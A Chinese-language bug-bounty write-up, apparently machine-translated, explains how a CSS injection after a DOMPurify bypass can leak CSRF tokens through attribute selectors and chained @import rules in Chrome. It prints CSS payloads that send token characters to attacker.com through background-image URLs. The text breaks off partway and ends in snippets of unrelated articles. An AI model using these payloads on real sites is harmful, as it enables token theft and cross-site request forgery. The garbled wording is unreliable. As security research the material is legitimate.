本篇文章叙述了我怎么发现一个缝隙运用点,而且能够bypass现有安全机制,使我取得5位数赏金。
一个古怪的HTML注入事例
AndréBaptista和Cache-Money正在研讨一个十分风趣的缝隙,它开端是一个简略的字符集bypass,经过一系列操作能够使方针(由于dompurify,不能进行XSS)演变成HTML注入。这是一条很棒的运用链,能够证明他们发现了很棒的东西。但如下问题仍是让他们遇到了很大的费事。
在听到他们取得的发展后,我想去看看我是否能够供给一些协助来使这个缝隙更具运用性。首要咱们确认咱们至少能够完结一次有用的点击绑架进犯。0xACB (Andre)和Cache-Money有一个很好的主意,他们企图串联更多的进犯面组成运用链,以发明更大影响力的缝隙。可是我有一些其他的主意。
在咱们确认了dompurify默许答应style标签之后,我开端考虑怎么运用CSS做更多的操作而不只只是仅操作DOM。假如你现已读过我的一些帖子,你就会知道我对CSS注入缝隙并不生疏。不幸的是,这个页面不只有结构加载维护,而且需求一些用户交互来触发注入,这导致假如咱们想要进行灵敏信息走漏,则会糟蹋很长时刻。而且这只是一个低危进犯,最多只能取得4位数的赏金。
我需求一种办法让浏览器在无需从头加载、iframes或用户交互的情况下能够履行多个CSS payload以达到相似的进犯。此外,咱们对能够注入的payload的长度进行约束。想要只是运用标签来运用它似乎是不或许的,直到我开端了解了CSS的一个特性:@import。
CSS注入入门
在我深化了解这项技能之前,我想用一个简略的部分来描述CSS注入中运用的传统token信息走漏技能。假如你对这方面现已很熟悉了,能够跳到下一节。别的,我也曾在之前的一篇blog中更深化地探讨了这项技能(https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d)。
传统的CSS注入token信息走漏技能依赖于一种名为Attribute Selectors的CSS特性。Attribute Selectors答应开发人员指定只有当某个元素的特点满意selector指示的条件时,才能够将该特定款式运用于该元素。咱们能够运用attribute selector创立一种规矩,该规矩仅在特定条件下适用于页面上的指定元素。当运用这些款式时,咱们能够运用相似于background-image等特点使浏览器与进犯者交互,以循环获取token信息走漏操作的反应。
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
在这个比如中,咱们使浏览器一旦发现CSRF token以a最初,则将background-image设置为https://attacker.com/exfil/a中的图画。然后,咱们对或许作为token最初的每个字符(a, b, c, .. 7, 8, 9, etc.)重复此规矩。
一旦咱们知道token的榜首个字符是什么,咱们就能够再次履行进犯(一般运用iframes),但需求略微修正payload。
input[name=csrf][value^=ca]{
background-image: url(https://attacker.com/exfil/ca);
}
input[name=csrf][value^=cb]{
background-image: url(https://attacker.com/exfil/cb);
}
/* ... */
input[name=csrf][value^=c9]{
background-image: url(https://attacker.com/exfil/c9);
}
在这个比如中,咱们假定CSRF token的榜首个字母是一个c。如此一来,咱们经过再次运转之前的规矩就能够取得CSRF token的第二个字符。但这要建立在这些tokens都是以c最初的基础上。
先决条件
上述技能一般需求三个条件:
1.CSS注入需求答应满足长的payload
2.能够在结构加载页面再次履行CSS新生成的payloads
3.能够引证外部图片(或许被CSP阻挠)
这意味着,假如注入不答应满足大的payload,或许页面不能被结构加载,那么前面的技能或许不适用。在咱们的比如中,这意味由于存在结构安全机制,以及实践能够注入的字符数量有限,咱们无法运用这种技能。
@import to the Rescue
许多编程言语能够从其他源文件导入代码,CSS也不破例。虽然许多人或许只知道,但实践上CSS自身有一种办法能够运用一种名为@import的at-rule来履行相似(但不同)类型的表单款式包括。
在大多数情况下,@import将提取的款式直接交换到当时款式表中,这使开发人员能够引进外部款式的一起,掩盖那些界说在@import行下的外部资源中的,不被需求的指令。
在某些浏览器(例如Chrome)中完成的此功用将会带来一个风趣的副作用,即能够在外部资源被提取到浏览器的一起处理款式表的其余部分。我的了解是,这种行为增加了页面的TTI,一起企图削减”flashes of unstyled content”(拜见FOUC problem),但实践上它在开发中有实践用处。
幻想一下,咱们有一个网页包括以下款式表:
@import url(http://laggysite.com/base.css);
* { color: red; }
Chrome经过3个过程处理此款式表:
1.向http://laggysite.com/base.css宣布恳求
2.履行剩下指令(apply * { color: red; })
3.当http://laggysite.com/base.css回来呼应时,将呼应代入款式表并从头履行款式表。
当@import方针呼应时,咱们能够运用浏览器再次履行款式表的行为,模仿曾经的技能中从iframes中操控CSS再次履行的才能的行为。咱们运用@import的仅有要求是咱们必须在style标签的开端时具有操控权(由于这是HTML注入)。
为此,咱们将在款式表中创立两个@import规矩,并让服务器坚持一切衔接为翻开状况。然后,咱们将运用规范的CSS注入token信息走漏payload从方针特点中提取榜首个token。当咱们的服务器从background款式接收到该token后,咱们能够生成下一个token信息走漏payload,并运用新生成的payload呼应下一个待处理的@import规矩。
[1] [2] 黑客接单网
...
JSON Hijacking缝隙的具体使用,有点相似与CSRF,不过原理使用方法不同,在这边文章我侧重解说json跨域绑架的使用环境建立与方法。 0×01缝隙的发掘 一般发掘的过程中,burpsuit...
在软件开发中,咱们常常看到相同的代码过错在项目的生命周期中重复呈现。这些相同的过错甚至会呈现在多个项目中。有时,这些过错一同有多个活动实例,有时一次只要一个活动实例,可是它们不断地从头呈现。当这些过错...
许多Web运用会有避免跨站恳求假造的战略,比方经过request恳求传一个当时页面有用或许当时会话有用的参数(假如他们没有,那就很值得研讨)。这些参数用来证明这个恳求是从预订用户宣布的,而不是进犯者那...
这是一款根据谷歌搜索引擎的自动化爬虫。 爬虫介绍 爬虫大体机制便是: 先进行一次谷歌搜索,将成果解析为特定格局,然后再提供给exp运用。 我们能够测验运用–help来列出一切参数。 这个项目笔者会持...
CSRF tokens是服务器生成的一串随机值,其主要作用是防止表单重复提交以及恳求假造进犯。由于该生成值具有随机性,一次性,而且是根据服务器端的前一个恳求生成的,因而黑客简直不可能假造它。 Burp...